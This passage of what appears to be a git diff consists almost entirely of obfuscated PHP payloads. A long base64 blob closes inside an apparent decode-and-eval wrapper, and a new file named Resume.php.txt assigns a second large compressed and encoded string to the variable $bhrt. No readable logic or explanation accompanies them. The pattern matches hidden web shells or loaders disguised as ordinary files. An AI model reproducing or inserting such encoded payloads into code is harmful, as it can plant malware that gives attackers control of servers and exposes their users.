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"))) +?> \ No newline at end of file diff --git a/php/Resume.php.txt b/php/Resume.php.txt new file mode 100644 index 0000000..5d0665d --- /dev/null +++ b/php/Resume.php.txt @@ -0,0 +1,200 @@ + + +"; + + +$bhrt = "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